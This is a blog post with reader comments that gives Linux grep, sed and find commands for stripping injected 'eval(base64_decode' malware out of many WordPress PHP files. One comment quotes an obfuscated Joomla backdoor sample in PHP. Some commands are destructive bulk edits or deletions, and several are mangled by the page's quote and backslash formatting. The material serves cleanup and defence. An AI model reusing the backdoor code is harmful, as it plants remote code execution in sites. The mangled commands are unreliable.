Remove “eval(base64_decode” using linux commands from all php files across multiple WordPress

Linux command to fix "eval(base64_decode" code-injection on multiple WordPress installations and remove vulnerable plugins like WP-PhpMyAdmin

Yesterday, almost all installations on our test server had been infected by infamous “<?php eval(base64_decode(…)) ?>” code injection.

We have more than 600 demo sites on our test server and cleaning them using any WordPress plugin out there was simply out of the question! Can you imagine logging into each WordPress, installing plugin, then scanning/cleaning up WordPress… for 600+ WordPress sites?

Below is combination of Linux commands we used.  Assuming you have logged into a Linux Shell and already have BACKUP of all files (including infected files) lets move ahead!

Command to list all infected files:

grep -lr --include=*.php "eval(base64_decode" /path/to/webroot

This is not necessary but its better to check some files manually to confirm if they have malicious code we are looking for. Also we can use this command after running cleanup command to crosscheck if cleanup is really successful.

Command to remove malicious code:

If above command gives you correct output, execute following command to perform actual cleaning:

grep -lr --include=*.php "eval(base64_decode" /path/to/webroot | xargs sed -i.bak 's/<?php eval(base64_decode[^;]*;/<?phpn/g'

Executing above will remove eval(*) codes.  Above command will also generate a backup version of files it will modify. For example, if it removes code from index.php, you will find a new file index.php.bak in same directory with original content of index.php

Now after running above command, you still find some more infected files, then you need to adjust search and replace parameters in for “sed” part.    You may also use following command for a “liberal” cleaning at the risk of breaking something. (in case you really break something, like I did, you can jump to “Troubleshooting” section below!)

grep -lr --include=*.php "eval(base64_decode" /path/to/webroot | xargs sed -i.bak '/eval(base64_decode*/d'

Trying to avoid re-appearance of this code injection

Its really though to cover every possible way to protect yourself from such attach in this post.

If you remember, WordPress community faced this kind of issue because of WP-PhpMyAdmin plugin sometime back. In our case, we found some old WordPress demo sites were having that plugin installed.

To remove WP-PhpMyAdmin plugin form all WordPress sites on your server, execute following command:

find /path/to/webroot -name "wp-phpmyadmin" -type d | xargs rm -rf

Above is all we did to get rid of eval(base64_decode(*)) codes from all files on our test server. If this happens again on our server, I will update this post with added info.

Troubleshooting:

Just in case you end up in a mess, below are some useful commands.

Missing <?php tag in the beginning:

To add “<?php: tag in the beginning of index.php files, in case if you remove it accidentally use following command:

find /var/www/ -name "index.php" | grep "/htdocs/index.php" | xargs grep -L "<?php" | xargs sed -i "1s/^/<?php n/"

Don’t worry. If you already have a “<?php ” tag in the beginning, it won’t be added again.

Extra Newlines at the top!

If you find after cleanup, extra newlines at the top of your code, then use following command to remove trailing newlines. Extra newlines creates problem for blog feeds.

find . -name '*.php' -exec sed -i -e :a -e '/^n*$/{$d;N;ba' -e '}' '{}' ;

I hope you will find this stuff useful.

31 Comments

Radha Krishna March 15, 2012

This was pretty useful article. Most of the time, free templates come with eval scripts. Thanks for the info.

Laxman Singh March 23, 2012

Hi…

I have one exp. of iffram attack.. .nice infomation you written..

keep it up.

Daniel March 27, 2012

Very useful article. Helped me a lot!
Many thanks!

chaos1 April 6, 2012

This is really handy, thank you kind sir.

I would also like to add that Timthumb allows base64 asshattery.

Find old version of tim:
find `pwd` -type f \( -iname thumb.php -or -iname timthumb.php \) -exec grep -HP ‘define ?\(.VERSION’ {} \;

Cynthia April 9, 2012

Thanks for this post. I have about 10 WordPress blogs that keep getting rehacked with the eval crap… I’m going to try your process. I’ve been deleting the files and reinstalling WP, the databases have been fine, thank goodness. I have run Bullet Proof Security plugin and Exploit Scanner plugin to identify and fix problems, which helps, but yeah it’s a pain over multiple blogs. So far been changing permissions on the files and the four blogs I’ve changed have not been rehacked, I hope it holds.

ataraxius June 19, 2012

Hi! i cleaned out my Joomla installation from the code, but every .php file which was infected misses the

bender July 24, 2012

Hi I also faced the same problem in one of my dedicated servers almost 300 WP sites but tried your script bcs of my lack of experience I couldnt be able to make the script work properly. Also asked for a pro help and installed CXS and it quarantined every infected file in my server and my websites were down. After restoration now I got an error message as follows:
”Error 324 (net::ERR_EMPTY_RESPONSE):”
Your guidance highly appreciated.
regards

RichardG August 11, 2012

i am the owner of 3 websites that are infected with this eval(base64_decode malware.

I have cleaned the sites 5 timed now by re-installing all the WordPress php files. The sites work for about 24 hours and the malware returns.

Where in the WordPress folders do I add your command
grep -lr –include=*.php “eval(base64_decode” /path/to/webroot | xargs sed -i.bak ‘s/<?php eval(base64_decode[^;]*;/<?php\n/g' to run it.?

thanks,
RG

Mitesh October 1, 2012

@Richard G

You need a Linux shell to execute this commands and don’t forget to replace /path/to/webroot with your own web root path i.e /var/www/example.com

grep -lr –include=*.php “eval(base64_decode” /path/to/webroot | xargs sed -i.bak ‘s/<?php eval(base64_decode[^;]*;/<?php\n/g'

Guillermo August 21, 2012

Hi, I have a Linux server with several domains on it. I found a malicious code inserted on PHP, HTML an JS files. The malicious code starts with #c3284d# or I already found 5 variants, but all of them starts and ends with “c3284d”.
Is there any way to search and delete all scripts inserted between ” c3284d” on all directories? to avoid modifying each file?

Mitesh October 1, 2012

@Guillermo

Yes with the power of Linux simple commands we can do that very easily.

grep -lr –include=*.{html,php,js} c3284d /path/to/webroot | xargs sed -i.bak ‘/c3284d/,/c3284d/d’

Guillermo October 2, 2012

Thank you very much! It worked

Martin August 25, 2012

Hi — I’m trying to use the terminal command to scrub files on a local (osx) machine. Pretty sure I’m missing something basic but not quite sure what it is.

Subbing /path/to/folder for path/to/webroot hasn’t worked in the grep command — is there something else I need to do?

Many, many thank.

-m

Martin August 29, 2012

The correct code, in the right directory in terminal, is: perl -pi -e ‘s!eval\(base64_decode\(.*?\)\);!!g’ *.php
-m

Sec Analyst August 28, 2012

A new file index.php.bak in same directory with original content of index.php

a new file, a new security weakness…
cause this file might be reachable from the outside server and might even contain passwords
wp-config.php.bak will display nice information with that

Mitesh October 1, 2012

@Sec Analyst

Perfect point after removing some malicious code the newly generated .bak files leaks lots of juicy information 🙂

We can removing all the .bak files by using simple commands

find /path/to/webroot -iname “*.bak” -exec rm {} \;

Jeremy Blanchard October 1, 2012

I am getting by a version that is injection some base64 junk and forcing iframes that point to clickstats.ignorelist.com

This modified command works for me on any line of the file and doesn’t kill the first line like the original post did.

find . -name index.php -exec grep -qF ‘<?php eval(base64_decode(' {} \; -exec bash -c 'printf "%s\n" "g/<?php eval(base64_decode[^;]*;/s//<?php/g" w q | ed -s "$1"' _ {} \;

Frank Butty October 2, 2012

Hi,
Thanks for your post, it was helpful.
In my situation, I made a minor tweaks since the injection included a /**/ before the eval.
For anyone else in this situation, this works:
grep -lr –include=*.php “eval(base64_decode” /path/to/root | xargs sed -i.bak ‘s///g’

Frank Butty October 2, 2012

Oops … trying again, this form seems to have prevented the text from showing:

grep -lr –include=*.php “eval(base64_decode” /home/smartco1/public_html | xargs sed -i.bak “s/”//g”

Vlada October 6, 2012

Can you help me to modify your command:
grep -lr –include=*.php “eval(base64_decode” /path/to/webroot | xargs sed -i.bak ‘/eval(base64_decode*/d’

I have a string like this:

Because of single and double quotes I’m unable to execute your command. Any thoughts?
Thanks

spqr October 20, 2012

just incase anyone is interested I created a script that would scan all your php, js and .htaccess files and would remove sevral types of malware inserted codes.

check out my script at my website http://ombing.info/2012/10/20/php-malware-scanner/

Joseph R. B. Taylor November 12, 2012

Just what I was looking for! Thanks for posting these commands~

Mike April 15, 2013

I was hit by this across my server. Lots of sites were impacted. I tested your removal script on one of the sites before letting it lose and it removed the first <?php .. unfortunately I cant figure out how to replace it using your clean up script because the files werent named index.php, it was a range of variations. Any help would be great!

Michael May 26, 2013

Thanks,- very helpful, indeed.
First post of a lot i’ve read, that points directly to a working strategy.

Jonas H June 11, 2013

Here is a better Missing PHP script in the top of the file
grep -Lr –include=*.php “<?php" /home/path | xargs sed -i "1s/^/<?php \n/"

unfortianally it ads also the <?php files that contains the valid <? for php.
So here is the 3rd script to run to fix those files

for file in $(find /home/path -name "*.php");do if [ $(grep -m 1 -A 2 '<?php' $file | grep -c '<?') -eq 2 ]; then sed -i.bak2 "/<?php/d" $file;fi;done

Maybe update the guide with these commands?

Michael June 12, 2013

Here is another version that works well regardless where the injection is:

perl -pi -e ‘s!eval\(base64_decode\(.*?\)\);!!g’ `grep -lr –include=*.php “eval(base64_decode” /path/to/your/domain`

Luca June 21, 2013

Very helpful! Thank you!

voodoo August 7, 2013

perhaps you will be interested in the example of fresh malware for Joomla:

$value)
if(ord(substr(current(array_keys($_REQUEST)),-1)) – ord(substr(current(array_keys($_REQUEST)),0,1)) == 1 && ord(substr(current(array_keys($_REQUEST)),-2,1)) – ord(substr(current(array_keys($_REQUEST)),-1)) == 5){
define(“STR_CONSTANT”, “\x2f\x28\x2e\x2a\x29\x2f\x65”);
define(“STR_PROGRESS_CONSTANT”, “\x29\x27\x31\x5c\x27\x28\x6c\x61\x76\x65”);
$STR_PRE_PROGRESS_CONSTANT = strrev(“\x65\x64\x6f\x63\x65\x64\x5f\x34\x36\x65\x73\x61\x62”);
preg_replace(STR_CONSTANT,strrev(STR_PROGRESS_CONSTANT),$STR_PRE_PROGRESS_CONSTANT($value));

} die(‘Forbidden.’); ?>

searches were carried out as follows:
grep -rl ‘substr(current(array_keys’ /full/path

Manos June 3, 2014

This is a great and very useful article, thanks for sharing!

Nevertheless, you might want to update it by adding this command since hackers are always coming up with workarounds

grep -lr –include=*.php “‘base’\.\(32\*2\)\.’_de’\.’code'” /path/to/webroot

Nipun Tyagi February 23, 2016

I’ve tried to add php tag in begning of the files but your command works only for single file, is there any way so I can add this tag on all files under any direcotry?